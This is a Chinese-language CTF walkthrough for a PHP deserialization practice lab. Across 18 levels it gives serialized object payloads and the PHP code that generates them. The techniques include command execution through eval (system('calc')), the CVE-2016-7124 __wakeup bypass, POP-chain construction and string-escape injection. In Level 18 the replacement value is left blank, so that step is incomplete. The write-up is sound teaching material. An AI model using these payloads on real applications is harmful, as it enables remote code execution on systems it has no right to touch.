前言:本教程使用的是探姬的靶场,参考http://github.com/ProbiusOfficial/PHPSerialize-labs
刚学了php的反序列化来写个wp记录一下吧。

目录

Level 1: 类的实例化

Level 2: 对象中值的传递

Level 3: 对象中值的权限

Level 4: 序列化初体验

Level 5: 序列化的普通值规则

Level 6: 序列化的权限修饰规则

Level 7: 实例化和反序列化

Level 8: 构造函数和析构函数以及GC机制

Level 9: 构造函数的后门

Level 10: __wakeup()

Level 11: __wakeup() CVE-2016-7124

Level 12: __sleep()

Level 13: __toString()

Level 14: __invoke()

Level 15: POP链前置

Level 16: POP链构造

Level 17:字符串逃逸基础-无中生有

Level 18:字符串逃逸基础-尾部判定


Level 1: 类的实例化
 

存在__construct函数,当对象创建时调用,可以使用new FLAG();触发
提交POST

code=new FLAG();


Level 2: 对象中值的传递


观察代码中$target->get_free_flag();调用函数get_free_flag()从而输出$this->free_flag;
由于源代码中已经有类的创建了我们只需要将变量$flag_string赋值给$target->free_flag即可


code=$target->free_flag=$flag_string;

Level 3: 对象中值的权限

分析代码,发现存在不同修饰符public、protected和private
其中public修饰的变量可以直接输出,而protected和private修饰的变量需要通过函数get_protected_flag() 和get_private_flag() 输出
所有可以得到下面语句来获取完整flag
$target->public_flag.$target->get_protected_flag().$target->get_private_flag();

对应提交的POST语句

code=echo $target->public_flag.$target->get_protected_flag().$target->get_private_flag();

Level 4: 序列化初体验

这道题目已经使用

$flag_is_here = new FLAG();
从而触发__construct方法,所以我们只需要通过序列化$flag_is_here并输出即可
提交POST: code=echo serialize($flag_is_here);


得到的序列字符串提取出flag即可,连起来应该是 ser4l1ze2se3me 

Level 5: 序列化的普通值规则

分析源码,发现这道题是考察不同数据类型的序列化,所以直接按照对应的规则序列化后提交即可

构造对用的POST语句:
 

<?php 

class a_class{
    public $a_value = "HelloCTF";
}

$your_object = new a_class();
$your_boolean = true;
$your_NULL = null;
$your_string = "IWANT";
$your_number = 1;
$your_object->a_value = "FLAG";
$your_array = array('a'=>"Plz",'b'=>"Give_M3");

$exp = "o=".serialize($your_object)."&s=".serialize($your_string)."&a=".serialize($your_array)."&i=".serialize($your_number)."&b=".serialize($your_boolean)."&n=".serialize($your_NULL);

echo $exp;

POST提交:
o=O:7:"a_class":1:{s:7:"a_value";s:4:"FLAG";}&a=a:2:{s:1:"a";s:3:"Plz";s:1:"b";s:7:"Give_M3";}&s=s:5:"IWANT";&i=i:1;&b=b:1;&n=N;

Level 6: 序列化的权限修饰规则

分析代码可知道,只需要将序列化的对象protectedKEY和privateKEY进行url编码后即可,因为直接提交的话%00的参数由于无法显示,则无法提交POST成功
先构造POST
 

<?php
// 类:演示protected属性序列化
class protectedKEY{
    protected $protected_key = "protected_key";  // protected属性
    // 方法不会被序列化,只序列化属性
    function get_key(){
        return $this->protected_key;
    }
}

// 类:演示private属性序列化
class privateKEY{
    private $private_key = "private_key";  // private属性
    // 方法不会被序列化
    function get_key(){
        return $this->private_key;
    }
}

// 生成序列化payload(用于URL传输)
// protected序列化特征:%00*%00属性名
// private序列化特征:%00类名%00属性名
echo "protected_key=" . urlencode(serialize(new protectedKEY())) . 
     "&private_key=" . urlencode(serialize(new privateKEY()));
?>

运行得到POST参数:
protected_key=O%3A12%3A%22protectedKEY%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00protected_key%22%3Bs%3A13%3A%22protected_key%22%3B%7D&private_key=O%3A10%3A%22privateKEY%22%3A1%3A%7Bs%3A23%3A%22%00privateKEY%00private_key%22%3Bs%3A11%3A%22private_key%22%3B%7D

Level 7: 实例化和反序列化

分析代码可知,我们可以通过控制$flag_command变量来序列化对象FLAG,从而实现命令执行

构造POST请求

<?php
class FLAG{
    public $flag_command = "system('calc');";

    function backdoor(){
        eval($this->flag_command);
    }
}
echo serialize(new FLAG());

输出  O:4:"FLAG":1:{s:12:"flag_command";s:15:"system('calc');";}
通过提交o=O:4:"FLAG":1:{s:12:"flag_command";s:15:"system('calc');";}即可执行命令

Level 8: 构造函数和析构函数以及GC机制

分析代码可知,这关存在两个魔术方法__destruct和__construct
__construct是当对象实例化时触发,而__destruct是在对象被摧毁时触发
所以我们可以通过不断的对对象RELFLAG序列化和反序列化从而使得$flag > 5 即可输出flag

提交POST : code=serialize(new RELFLAG());


提交POST :  code=serialize(unserialize(serialize(new RELFLAG())));


以此类推...
直到提交POST:
code=unserialize(serialize(unserialize(serialize(unserialize(serialize(unserialize(serialize(new RELFLAG()))))))));


从而获取flag

Level 9: 构造函数的后门

分析代码,我们可以通过构造序列化的对象,从而成功反序列化,然后触发__destruct方法
,并且可以通过修改$flag_command来执行命令,这关类似于Level 7
构造序列化字符串
 

<?php
class FLAG {
    var $flag_command = "echo 'HelloCTF';";  //执行的命令
    public function __destruct()
    {
        $this->flag_command;
    }
}
echo serialize(new FLAG());

得到 :O:4:"FLAG":1:{s:12:"flag_command";s:16:"echo 'HelloCTF';";}
POST提交
o=O:4:"FLAG":1:{s:12:"flag_command";s:16:"echo 'HelloCTF';";}

Level 10: __wakeup()

分析代码使用__wakeup魔术方法,在对象反序列化之前触发
由于FLAG()对象没有属性,可以直接对class FLAG{} 进行序列化得到
得到 O:4:"FLAG":0:{}
所以提交POST:
o=O:4:"FLAG":0:{}


Level 11: __wakeup() CVE-2016-7124

 

分析源代码可知有__destruct()和__wakeup()两个魔术方法,其中__wakeup()是在反序列化之前触发,而__destruct()是在实例化对象被摧毁时触发及反序列化后触发,所以会导致$flag变量被赋值为NULL,但是当序列化字符串中声明的属性个数大于实际属性个数时,__wakeup()方法不会被执行,所以可以先构造序列化,将属性个数修改即可。

参考:

CVE-2016-7124 漏洞说明:

影响版本:PHP5 < 5.6.25, PHP7 < 7.0.10 (注意需要切换php版本)

漏洞原理:当反序列化时,如果序列化字符串中指定的属性个数大于实际属性个数,

就会跳过__wakeup()魔术方法的执行。
利用原理:
// 当序列化字符串中表示对象属性个数的值大于真实属性个数时
//
PHP 7.2 之前版本会跳过 __wakeup() 执行
// 例如:O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";} 
// 将 2
改成大于2的数即可绕过

1.先构造正常的序列化字符串
 

<?php
class FLAG {
    public $flag = "FAKEFLAG";
}
echo serialize(new FLAG());

得到:O:4:"FLAG":1:{s:4:"flag";s:8:"FAKEFLAG";}
2.将序列修改为:O:4:"FLAG":2:{s:4:"flag";s:8:"FAKEFLAG";}
然后通过POST提交即可



 

Level 12: __sleep()

进入关卡

怎报错了,哦,这里记得把php版本改回来php>5.4即可


分析源码,乍一看,奇奇怪怪的东西,先不管,一眼看到存在魔术方法__sleep(),

序列化serialize()函数会检查类中是否存在一个魔术方法__sleep(),

如果存在,该方法会先被调用,然后才执行序列化操作。

我们可以通过控制`chance`参数指定要返回的属性名,让`__sleep()`方法返回包含父类私有属性在内的所有12个FLAG片段对应的属性名,从而在序列化结果中一次性获取完整的FLAG。这里注意下是通过GET提交

对应提交参数顺序参考源代码中的:

//* FLAG is $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g */
注意$h + $e + $l + $I + $o + $c + $t + $f来自CHALLENGE对象
$f + $l + $a + $g来自FLAG对象,在序列化时注意不同修饰符的变量

?chance=h

?chance=e

?chance=l

?chance=I

?chance=o

?chance=c

?chance=t

?chance=%00FLAG%00f    (注意private修饰)

?chance=%00FLAG%00l   (注意private修饰)

?chance=%00*%00a   (注意protected修饰)

?chance=g

最后拼接得到HelloCTF{Th3___sleep_function__is_called_before_serialization_t0_clean_up_4nd_select_variab1es}

这里不懂的可以先去看看代码的含义,可能需要多揣摩下(吃了php的亏qwq)
参考代码注释:

<?php

/*
--- HelloCTF - 反序列化靶场 关卡 12 : sleep! --- 
*/

// 父类 FLAG - 包含真正的flag片段
class FLAG {

    // 私有属性,需要用 "\0FLAG\0属性名" 格式访问
    private $f;  // 值 = 'clean_'
    private $l;  // 值 = 'up_'
    
    // 受保护属性,需要用 "\0*\0属性名" 格式访问  
    protected $a;  // 值 = '4nd_'
    
    // 公有属性,直接用属性名访问
    public  $g;  // 值 = 'select_variab1es}'
    
    // 干扰属性 - 只为了在序列化时显示这些
    public $x,$y,$z;

    // __sleep() 魔术方法 - 决定序列化哪些属性
    public function __sleep() {
        // 只返回 x,y,z,隐藏了真正的flag属性
        return ['x','y','z'];
    }
}

// 子类 CHALLENGE - 继承FLAG
class CHALLENGE extends FLAG {

    // 公有属性 - 包含大部分flag片段
    public $h = 'HelloCTF{';      // flag开头
    public $e = 'Th3_';            // 第二部分
    public $l = '__sleep_function_'; // 第三部分
    public $I = '_is_';            // 第四部分
    public $o = 'called_';          // 第五部分
    public $c = 'before_';          // 第六部分
    public $t = 'serialization_';   // 第七部分
    public $f = 't0_';              // 第八部分

    // chance方法 - 从GET参数获取要序列化的属性名
    function chance() {
        // 返回用户通过 ?chance= 指定的值
        return $_GET['chance'];
    }
    
    // 子类的 __sleep() 方法 - 关键!
    public function __sleep() {
        /* FLAG的拼接顺序:
           $h + $e + $l + $I + $o + $c + $t + $f + $f + $l + $a + $g 
           (注意:有两个$f和两个$l,分别来自子类和父类)
        */
        
        // 所有可能的属性名列表
        $array_list = ['h','e','l','I','o','c','t','f','f','l','a','g'];
        
        // 随机选择两个属性名(可能重复)
        $_ = array_rand($array_list);  // 随机索引 0-11
        $__ = array_rand($array_list); // 随机索引 0-11
        
        // 返回三个属性名:
        // 1. 第一个随机属性
        // 2. 第二个随机属性  
        // 3. 用户通过chance指定的属性
        return array($array_list[$_], $array_list[$__], $this->chance());
    }
}

// 测试序列化FLAG类 - 只会显示x,y,z
$FLAG = new FLAG();
echo serialize($FLAG);  // O:4:"FLAG":3:{s:1:"x";N;s:1:"y";N;s:1:"z";N;}

// 测试序列化CHALLENGE类 - 通过__sleep()控制显示的属性
echo serialize(new CHALLENGE());
// 输出示例:O:9:"CHALLENGE":3:{s:1:"f";s:3:"t0_";s:1:"f";s:3:"t0_";s:1:"l";s:17:"__sleep_function_";}

/*
总结:
1. __sleep() 返回什么属性名,序列化结果就包含什么属性的值
2. 可以通过 chance 参数控制要显示的属性
3. 父类的私有/保护属性需要用特殊格式访问:
   - 父类私有属性: "\0FLAG\0属性名"
   - 受保护属性: "\0*\0属性名"  
   - 公有属性: 直接使用属性名
4. 目标:获取所有12个属性的值,按顺序拼接得到flag
*/

Level 13: __toString()

__tostring方法的触发条件是把对象被当做字符串调用

d只需要提交  o=echo $obj;  即可触发

Level 14: __invoke()

分析存在魔术方法__invoke,触发时机:把对象被当做函数调用

代码中已经实例化了FLAG对象,只需提交  o=$obj("get_flag");  即可

Level 15: POP链前置


第一步 eval($this->cmd->a->b->c);  关键代码,需要用action和函数触发,所以可以定位到对象D的__wakeUp() 方法

wakeup触发需要反序列化,先创建d并序列化,然后即可通过unserialize($_POST['o']);反序列化触发__wakeUp()

$d = new D();

serialize($d);

第二步:__wakeUp()触发后,执行  $this->d->action(); 这里对应的是$d->d->action(),

$d->d是D类中的属性,由于他调用了action方法,所以需要将属性d赋值为一个存在action方法的对象,所以显然还需要把实例化destnation对象赋给的D类的属性d

这样就成功触发action()

$dest = new destnation();

$d = new D($dest); // 传入 实例化对象 $dest 赋值给 cmd属性

serialize($d);

第三步:成功执行到 eval($this->cmd->a->b->c); ,这里的$this->cmd又是应该一个对象,并且该对象有a属性,所以,我们需要实例化A对象,并将其赋值给 destnation对象的cmd属性。

$a = new A();

$dest = new destnation($a); //  传入 实例化对象 $a 赋值给 cmd属性
 
$d = new D($dest); // 传入 实例化对象 $dest 赋值给 d属性

serialize($d);

第四步:然后执行到$this->cmd->a->b,同理可知,这里的$this->cmd->a又是应该一个对象,并且该对象有b属性,所以,我们需要实例化B对象,并将其赋值给A对象的a属性。

$b =new B();

$a = new A($b); //  传入 实例化对象 $b 赋值给 a 属性

$dest = new destnation($a); //  传入 实例化对象 $a 赋值给 cmd属性

$d = new D();

$d->d = $dest;

serialize($d);

然后以此类推到了$this->cmd->a->b->c,这里的$this->cmd->a->b又是应该一个对象,并且该对象有c属性,所以,我们需要实例化C对象,并将其赋值给B对象的b属性。
下面是完整构造php代码

<?php
class A {
    public $a;
    public function __construct($a) {
        $this->a = $a;
    }
}
class B {
    public $b;
    public function __construct($b) {
        $this->b = $b;
    }
}
class C {
    public $c;
    public function __construct($c) {
        $this->c = $c;
    }
}

class D {
    public $d;
    public function __construct($d) {
        $this->d = $d;
    }
}

class destnation {
    var $cmd;
    public function __construct($cmd) {
        $this->cmd = $cmd;
    }
}
$c = new C("echo 123;");  // 传入 命令字符串 测试代码执行

$b =new B($c); //  传入 实例化对象 $c 赋值给 b 属性

$a = new A($b); //  传入 实例化对象 $b 赋值给 a 属性

$dest = new destnation($a); //  传入 实例化对象 $a 赋值给 cmd属性

$d = new D($dest); // 传入 实例化对象 $dest 赋值给 d属性

echo serialize($d);
?>

运行后得到:
O:1:"D":1:{s:1:"d";O:10:"destnation":1:{s:3:"cmd";O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";O:1:"C":1:{s:1:"c";s:9:"echo 123;";}}}}}
 

Level 16: POP链构造

1、首先我们定位到关键代码 A类的 return $flag  ,前面有include $this->a,所以们需要将A类的属性a赋值为flag.php,才能输出flag。

$a = new  A();

$a->a= "flag.php"

2、然后思考如何触发 __invoke,触发条件是 把对象当做函数调用,观察整个源代码,发现

B类最后一段存在 echo $f();  ,然后前一段代码是$f = $this->b,所以可以将B类中的属性b赋值为对象A,即可触发 A类中的__invoke方法。
$b = new B();

$b->b = $a;

3、

接下来考虑触发B类的__toString方法,触发添加是将对象以字符串函数输出,观察INIT类中有echo $this->name,于是可以将name属性赋值为B类,从而触发__toString
$init = new INIT();

$init->name = $b;

所以完整的构造php代码如下:
 

<?php
class A {
    public $a;
    
}

class B {
    public $b;
}


class INIT {
    public $name;
}
$a = new A();
$a->a = "flag.php"; #用于输出flag

$b = new B();
$b->b = $a;  #用于触发 __invoke

$init = new INIT();
$init->name = $b;  #用于触发 __tostring

echo serialize($init); #用于触发__wakeup

得到:
O:4:"INIT":1:{s:4:"name";O:1:"B":1:{s:1:"b";O:1:"A":1:{s:1:"a";s:8:"flag.php";}}}

Level 17:字符串逃逸基础-无中生有

分析代码可知,输出flag有两个条件,一个是变量$a的类型是A类对象,对象的属性

helloctfcmd的值为get_flag

所以我们只需要构造一个A类的序列化,并且给他加上一个helloctfcmd属性,值为get_flag即可
O:1:"A":1:{s:11:"helloctfcmd";s:8:"get_flag";}

Level 18:字符串逃逸基础-尾部判定

分析源代码可知,获取flag同样需要两个条件,
一是变量$flag必须是FLAG类
二是该类存在key参数,其值为GET_FLAG

该题目中我们可以通过输入控制$target和$change变量,然后通过str_replace函数,将序列化的字符串中的所有$target替换为$change,在不替换的时候序列化字符串如下:


'O:4:"Demo":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'

首先我们可以尝试将$target赋值为Demo , $change赋值为 FLAG,从而满足条件一,但是,这样无法满足key值为GET_FLAG, 所以我们可以利用序列化字符的结束标志 ;} 来构造

将$target赋值为Demo,而 $change赋值为
替换后从而得到:
'O:4:"FLAG":1:{s:3:"key";s:8:"GET_FLAG";}":3:{s:1:"a";s:5:"Hello";s:1:"b";s:3:"CTF";s:3:"key";s:20:"GET_FLAG";}FAKE_FLAG";}'

由于出现 ;} 所以将后面的序列化字符直接截断了,满足了 获取flag的条件。(这里注意对应的字符长度和属性数量需要构造正确

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐